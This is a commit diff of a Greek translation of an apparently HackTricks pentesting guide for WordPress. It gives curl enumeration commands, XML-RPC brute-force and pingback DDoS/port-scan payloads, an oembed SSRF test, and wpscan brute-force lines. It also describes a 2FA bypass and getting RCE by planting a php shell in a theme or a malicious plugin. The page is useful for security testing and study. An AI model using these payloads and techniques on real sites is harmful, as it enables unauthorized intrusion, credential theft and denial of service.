Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres

This commit is contained in:
Translator 2025-09-08 04:23:11 +00:00
parent 8bfcfe82ff
commit 5493713035

View File

@ -2,47 +2,47 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες ## Βασικές πληροφορίες
- **Uploaded** αρχεία πηγαίνουν στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` - **Uploaded** αρχεία πηγαίνουν στο: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Τα αρχεία θεμάτων βρίσκονται στο /wp-content/themes/,** οπότε αν αλλάξετε κάποια php του θέματος για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Χρησιμοποιώντας **theme twentytwelve** μπορείτε να **έχετε πρόσβαση** στο αρχείο **404.php** στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Τα αρχεία θεμάτων βρίσκονται στο /wp-content/themes/,** οπότε αν αλλάξετε κάποιο php του theme για να πάρετε RCE πιθανότατα θα χρησιμοποιήσετε αυτή τη διαδρομή. Για παράδειγμα: Χρησιμοποιώντας **theme twentytwelve** μπορείτε να **προσπελάσετε** το αρχείο **404.php** στο: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Άλλη χρήσιμη διεύθυνση URL μπορεί να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Άλλη χρήσιμη διεύθυνση μπορεί να είναι:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- Στο **wp-config.php** μπορείτε να βρείτε τον root κωδικό της βάσης δεδομένων. - Στο **wp-config.php** μπορείτε να βρείτε το root password της βάσης δεδομένων.
- Προεπιλεγμένα μονοπάτια σύνδεσης προς έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ - Προεπιλεγμένες διαδρομές login προς έλεγχο: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Κύρια αρχεία WordPress** ### **Κύρια αρχεία WordPress**
- `index.php` - `index.php`
- `license.txt` περιέχει χρήσιμες πληροφορίες όπως την έκδοση του WordPress που είναι εγκατεστημένη. - `license.txt` περιέχει χρήσιμες πληροφορίες όπως την εγκατεστημένη έκδοση του WordPress.
- `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου site WordPress. - `wp-activate.php` χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου WordPress site.
- Φάκελοι σύνδεσης (μπορεί να έχουν μετονομαστεί για να κρυφτεί): - Φάκελοι login (μπορεί να μετονομαστούν για να αποκρυφθούν):
- `/wp-admin/login.php` - `/wp-admin/login.php`
- `/wp-admin/wp-login.php` - `/wp-admin/wp-login.php`
- `/login.php` - `/login.php`
- `/wp-login.php` - `/wp-login.php`
- `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με το HTTP ως μηχανισμό μεταφοράς και το XML ως μηχανισμό κωδικοποίησης. Αυτού του είδους η επικοινωνία έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference). - `xmlrpc.php` είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μεταφορικό μηχανισμό και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes. - Ο φάκελος `wp-content` είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes.
- `wp-content/uploads/` είναι ο κατάλογος όπου αποθηκεύονται τα αρχεία που έχουν ανεβεί στην πλατφόρμα. - `wp-content/uploads/` είναι ο κατάλογος όπου αποθηκεύονται όλα τα αρχεία που ανεβάζονται στην πλατφόρμα.
- `wp-includes/` είναι ο κατάλογος όπου βρίσκονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets. - `wp-includes/` Αυτός είναι ο κατάλογος όπου αποθηκεύονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.
- `wp-sitemap.xml` Σε εκδόσεις Wordpress 5.5 και νεότερες, το Worpress δημιουργεί ένα sitemap XML αρχείο με όλα τα δημόσια posts και τα δημόσια queryable post types και taxonomies. - `wp-sitemap.xml` Στις εκδόσεις Wordpress 5.5 και νεότερες, το Wordpress δημιουργεί ένα sitemap XML αρχείο με όλα τα δημόσια posts και publicly queryable post types και taxonomies.
**Post exploitation** **Post exploitation**
- Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων όπως το όνομα της βάσης, ο host της βάσης, username και password, authentication keys and salts, και το prefix των πινάκων της βάσης. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιηθεί το DEBUG mode, το οποίο μπορεί να είναι χρήσιμο για την αντιμετώπιση προβλημάτων. - Το αρχείο `wp-config.php` περιέχει πληροφορίες που απαιτούνται από το WordPress για τη σύνδεση στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, τον host της βάσης, username και password, authentication keys και salts, και το database table prefix. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για την ενεργοποίηση της λειτουργίας DEBUG, η οποία μπορεί να είναι χρήσιμη στην αντιμετώπιση προβλημάτων.
### Δικαιώματα Χρηστών ### Δικαιώματα χρηστών
- **Administrator** - **Administrator**
- **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και των άλλων αναρτήσεις - **Editor**: Δημοσιεύει και διαχειρίζεται τις δικές του και άλλες αναρτήσεις
- **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις - **Author**: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
- **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει - **Contributor**: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει
- **Subscriber**: Περιηγείται αναρτήσεις και επεξεργάζεται το προφίλ του - **Subscriber**: Περιηγείται τις αναρτήσεις και επεξεργάζεται το προφίλ του
## **Passive Enumeration** ## **Παθητική ανάκτηση πληροφοριών**
### **Λήψη έκδοσης WordPress** ### **Βρείτε την έκδοση του WordPress**
Ελέγξτε αν μπορείτε να βρείτε τα αρχεία `/license.txt` ή `/readme.html` Ελέγξτε αν μπορείτε να βρείτε τα αρχεία `/license.txt` ή `/readme.html`
@ -56,15 +56,15 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>) ![](<../../images/image (1111).png>)
- CSS αρχεία σύνδεσης - Αρχεία CSS (link)
![](<../../images/image (533).png>) ![](<../../images/image (533).png>)
- αρχεία JavaScript - Αρχεία JavaScript
![](<../../images/image (524).png>) ![](<../../images/image (524).png>)
### Λήψη Plugins ### Λήψη πρόσθετων
```bash ```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
@ -77,39 +77,39 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
``` ```
## Ενεργή αναγνώριση ## Active enumeration
### Plugins and Themes ### Plugins and Themes
Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins and Themes. Για να τα εντοπίσετε όλα, θα χρειαστεί να **actively Brute Force a list of Plugins and Themes** (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες). Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins και Themes. Για να τα ανακαλύψετε όλα, θα χρειαστεί να **actively Brute Force a list of Plugins and Themes** (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
### Χρήστες ### Users
- **ID Brute:** Αποκτάτε έγκυρους χρήστες από ένα WordPress site μέσω Brute Forcing των IDs χρηστών: - **ID Brute:** Παίρνετε έγκυρους χρήστες από ένα WordPress site κάνοντας Brute Forcing των user IDs:
```bash ```bash
curl -s -I -X GET http://blog.example.com/?author=1 curl -s -I -X GET http://blog.example.com/?author=1
``` ```
Αν οι απαντήσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απάντηση είναι **400**, τότε το id είναι **άκυρο**. Εάν οι αποκρίσεις είναι **200** ή **30X**, αυτό σημαίνει ότι το id είναι **έγκυρο**. Αν η απόκριση είναι **400**, τότε το id είναι **άκυρο**.
- **wp-json:** Μπορείτε επίσης να προσπαθήσετε να λάβετε πληροφορίες για τους χρήστες εκτελώντας ένα query: - **wp-json:** Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες για τους χρήστες ζητώντας:
```bash ```bash
curl http://blog.example.com/wp-json/wp/v2/users curl http://blog.example.com/wp-json/wp/v2/users
``` ```
Ένα άλλο endpoint `/wp-json/` που μπορεί να αποκαλύψει κάποιες πληροφορίες για χρήστες είναι: Άλλο endpoint `/wp-json/` που μπορεί να αποκαλύψει κάποιες πληροφορίες για τους χρήστες είναι:
```bash ```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
``` ```
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μια δημοσίευση. **Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη δυνατότητα**. Σημειώστε ότι αυτό το endpoint αποκαλύπτει μόνο χρήστες που έχουν κάνει ένα post. **Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν αυτή τη λειτουργία ενεργοποιημένη**.
Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** μπορεί να αποκαλύψει διευθύνσεις IP. Επίσης σημειώστε ότι **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: Όταν προσπαθείτε να συνδεθείτε στο **`/wp-login.php`**, το **μήνυμα** είναι **διαφορετικό** και υποδεικνύει αν το **username** υπάρχει ή όχι. - **Login username enumeration**: Όταν συνδέεστε στο **`/wp-login.php`** το **μήνυμα** είναι **διαφορετικό** ανάλογα με το αν το υποδεικνυόμενο **username** υπάρχει ή όχι.
### XML-RPC ### XML-RPC
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία [using this](https://github.com/relarizky/wpxploit) for example). Εάν το `xml-rpc.php` είναι ενεργό μπορείτε να πραγματοποιήσετε credentials brute-force ή να το χρησιμοποιήσετε για να εκτοξεύσετε DoS επιθέσεις σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία[ using this](https://github.com/relarizky/wpxploit) για παράδειγμα).
Για να δείτε αν είναι ενεργό δοκιμάστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και στείλτε αυτό το αίτημα: Για να δείτε αν είναι ενεργό δοκιμάστε να αποκτήσετε πρόσβαση στο _**/xmlrpc.php**_ και να στείλετε αυτό το αίτημα:
**Έλεγχος** **Έλεγχος**
```html ```html
@ -120,9 +120,9 @@ If `xml-rpc.php` is active you can perform a credentials brute-force or use it t
``` ```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Διαπιστευτήρια Bruteforce** **Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force διαπιστευτηρίων. Εάν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι σαν: **`wp.getUserBlogs`**, **`wp.getCategories`** ή **`metaWeblog.getUsersBlogs`** είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force credentials. Αν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι όπως:
```html ```html
<methodCall> <methodCall>
<methodName>wp.getUsersBlogs</methodName> <methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ If `xml-rpc.php` is active you can perform a credentials brute-force or use it t
</params> </params>
</methodCall> </methodCall>
``` ```
Το μήνυμα _"Incorrect username or password"_ μέσα σε απόκριση με κωδικό 200 θα πρέπει να εμφανίζεται εάν τα διαπιστευτήρια δεν είναι έγκυρα. Το μήνυμα _"Incorrect username or password"_ μέσα σε μια 200 response πρέπει να εμφανίζεται εάν τα credentials δεν είναι έγκυρα.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>) ![](<../../images/image (721).png>)
Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να ανεβάσετε ένα αρχείο. Στην απόκριση θα εμφανιστεί η διαδρομή ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) Χρησιμοποιώντας τα σωστά credentials μπορείτε να ανεβάσετε ένα αρχείο. Στην response θα εμφανίζεται το path ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html ```html
<?xml version='1.0' encoding='utf-8'?> <?xml version='1.0' encoding='utf-8'?>
<methodCall> <methodCall>
@ -168,18 +168,18 @@ If `xml-rpc.php` is active you can perform a credentials brute-force or use it t
</params> </params>
</methodCall> </methodCall>
``` ```
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request: Επιπλέον υπάρχει ένας **πιο γρήγορος τρόπος** για brute-force των διαπιστευτηρίων χρησιμοποιώντας **`system.multicall`**, καθώς μπορείτε να δοκιμάσετε αρκετά διαπιστευτήρια στην ίδια αίτηση:
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA** **Παράκαμψη 2FA**
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα creds αλλά η κύρια είσοδος προστατεύεται με 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί παρόλα αυτά να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) Αυτός ο μηχανισμός προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιός, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα διαπιστευτήρια αλλά η κύρια είσοδος προστατεύεται από 2FA, **μπορεί να καταφέρετε να καταχραστείτε το xmlrpc.php για να συνδεθείτε με αυτά τα διαπιστευτήρια παρακάμπτοντας το 2FA**. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί να καταφέρετε να φτάσετε σε RCE όπως το εξηγεί ο Ippsec στο [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS or port scanning** **DDoS ή port scanning**
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\ Αν μπορείτε να βρείτε τη μέθοδο _**pingback.ping**_ μέσα στη λίστα, μπορείτε να κάνετε το Wordpress να στείλει ένα αυθαίρετο αίτημα σε οποιοδήποτε host/port.\
This can be used to ask **thousands** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port). Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε από **χιλιάδες** **Wordpress** **sites** να **προσπελάσουν** μία **τοποθεσία** (οπότε προκαλείται **DDoS** στην εν λόγω τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το **Wordpress** να **σκανάρει** κάποιο εσωτερικό **δίκτυο** (μπορείτε να καθορίσετε οποιαδήποτε port).
```html ```html
<methodCall> <methodCall>
<methodName>pingback.ping</methodName> <methodName>pingback.ping</methodName>
@ -191,7 +191,7 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
``` ```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
Εάν λάβετε **faultCode** με τιμή **μεγαλύτερη** από **0** (17), αυτό σημαίνει ότι η θύρα είναι ανοιχτή. Αν λάβετε **faultCode** με τιμή **μεγαλύτερη** από **0** (17), σημαίνει ότι η θύρα είναι ανοιχτή.
Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να καταχραστείτε αυτή τη μέθοδο για να προκαλέσετε DDoS. Ρίξτε μια ματιά στη χρήση του **`system.multicall`** στην προηγούμενη ενότητα για να μάθετε πώς να καταχραστείτε αυτή τη μέθοδο για να προκαλέσετε DDoS.
@ -209,15 +209,15 @@ This can be used to ask **thousands** of Wordpress **sites** to **access** one *
### wp-cron.php DoS ### wp-cron.php DoS
Αυτό το αρχείο συνήθως υπάρχει στο root του Wordpress site: **`/wp-cron.php`**\ Αυτό το αρχείο υπάρχει συνήθως στη ρίζα του Wordpress site: **`/wp-cron.php`**\
Όταν αυτό το αρχείο **προσεγγίζεται** εκτελείται ένα "**heavy**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από **attackers** για να **προκαλέσει** ένα **DoS**.\ Όταν αυτό το αρχείο **προσπελαστεί** εκτελείται μία "**heavy**" MySQL **query**, οπότε μπορεί να χρησιμοποιηθεί από **attackers** για να **προκαλέσουν** ένα **DoS**.\
Επίσης, εξ ορισμού, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητάει οποιαδήποτε Wordpress σελίδα), κάτι που σε high-traffic sites μπορεί να προκαλέσει προβλήματα (DoS). Επίσης, από προεπιλογή, το `wp-cron.php` καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητά οποιαδήποτε σελίδα Wordpress), κάτι που σε sites με υψηλή κίνηση μπορεί να προκαλέσει προβλήματα (DoS).
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που να εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα). Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που θα εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).
### /wp-json/oembed/1.0/proxy - SSRF ### /wp-json/oembed/1.0/proxy - SSRF
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you. Δοκιμάστε να προσπελάσετε _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ και η Worpress site μπορεί να κάνει ένα request προς εσάς.
This is the response when it doesn't work: This is the response when it doesn't work:
@ -230,7 +230,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}} {{#endref}}
Αυτό το εργαλείο ελέγχει για τη **methodName: pingback.ping** και για το path **/wp-json/oembed/1.0/proxy**, και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί. Αυτό το εργαλείο ελέγχει αν υπάρχει το **methodName: pingback.ping** και το path **/wp-json/oembed/1.0/proxy**, και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
## Αυτόματα Εργαλεία ## Αυτόματα Εργαλεία
```bash ```bash
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin" #You can try to bruteforce the admin user using wpscan with "-U admin"
``` ```
## Απόκτηση πρόσβασης με την υπεργραφή ενός bit ## Απόκτηση πρόσβασης αντικαθιστώντας ένα bit
Περισσότερο από μια πραγματική επίθεση, πρόκειται για μια περιέργεια. Σε ένα CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε αρχείο wordpress. Έτσι μπορούσες να αναστρέψεις τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` ώστε να κάνεις NOP στην λειτουργία NOT (`!`). Περισσότερο παρά μια πραγματική επίθεση, πρόκειται για μια περιέργεια. Στο CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε αρχείο WordPress. Έτσι μπορούσες να αλλάξεις τη θέση `5389` του αρχείου `/var/www/html/wp-includes/user.php` για να κάνεις NOP τη λειτουργία NOT (`!`).
```php ```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error( return new WP_Error(
``` ```
## **Panel RCE** ## **Panel RCE**
**Τροποποίηση ενός php από το theme που χρησιμοποιείται (admin credentials needed)** **Τροποποίηση ενός php από το χρησιμοποιούμενο θέμα (απαιτούνται διαπιστευτήρια διαχειριστή)**
Appearance → Theme Editor → 404 Template (στα δεξιά) Εμφάνιση → Theme Editor → 404 Template (στα δεξιά)
Αλλάξτε το περιεχόμενο σε php shell: Αλλάξτε το περιεχόμενο σε ένα php shell:
![](<../../images/image (384).png>) ![](<../../images/image (384).png>)
Αναζητήστε στο Internet πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να επισκεφθείτε: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) Αναζητήστε στο διαδίκτυο πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να αποκτήσετε πρόσβαση εδώ: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF ### MSF
@ -269,91 +269,91 @@ use exploit/unix/webapp/wp_admin_shell_upload
### PHP plugin ### PHP plugin
Ενδέχεται να είναι δυνατή η μεταφόρτωση .php αρχείων ως plugin.\ Ενδέχεται να είναι δυνατό να ανεβάσετε αρχεία .php ως plugin.\
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα: Δημιουργήστε το PHP backdoor σας χρησιμοποιώντας για παράδειγμα:
![](<../../images/image (183).png>) ![](<../../images/image (183).png>)
Then add a new plugin: Στη συνέχεια προσθέστε ένα νέο plugin:
![](<../../images/image (722).png>) ![](<../../images/image (722).png>)
Upload plugin and press Install Now: Ανεβάστε το plugin και πατήστε Install Now:
![](<../../images/image (249).png>) ![](<../../images/image (249).png>)
Click on Procced: Κάντε κλικ στο Procced:
![](<../../images/image (70).png>) ![](<../../images/image (70).png>)
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded: Πιθανώς αυτό δεν θα κάνει τίποτα προφανώς, αλλά αν πάτε στο Media, θα δείτε το shell σας να έχει ανέβει:
![](<../../images/image (462).png>) ![](<../../images/image (462).png>)
Access it and you will see the URL to execute the reverse shell: Πρόσβασή σε αυτό και θα δείτε το URL για να εκτελέσετε το reverse shell:
![](<../../images/image (1006).png>) ![](<../../images/image (1006).png>)
### Μεταφόρτωση και ενεργοποίηση κακόβουλου plugin ### Uploading and activating malicious plugin
Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι έχει ευπάθειες και μπορεί να εκμεταλλευτεί για να αποκτήσει web shell. Η διαδικασία πραγματοποιείται μέσω του WordPress dashboard ως εξής: Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι έχει ευπάθεια και μπορεί να εκμεταλλευτεί για να αποκτήσει web shell. Η διαδικασία εκτελείται μέσω του WordPress dashboard ως εξής:
1. **Plugin Acquisition**: Το plugin αποκτάται από πηγή όπως Exploit DB όπως [**here**](https://www.exploit-db.com/exploits/36374). 1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**: 2. **Plugin Installation**:
- Περιηγηθείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε στο `Dashboard > Plugins > Upload Plugin`. - Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Ανεβάστε το zip αρχείο του κατεβασμένου plugin. - Upload the zip file of the downloaded plugin.
3. **Plugin Activation**: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard. 3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
4. **Exploitation**: 4. **Exploitation**:
- Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευπαθές. - With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο. - The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους εκμετάλλευσης ενός ιστότοπου WordPress. - It's noted that this is just one of the many methods to exploit a WordPress site.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως penetration testing με ρητή άδεια. Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που δείχνουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες θα πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως σε penetration testing με ρητή άδεια.
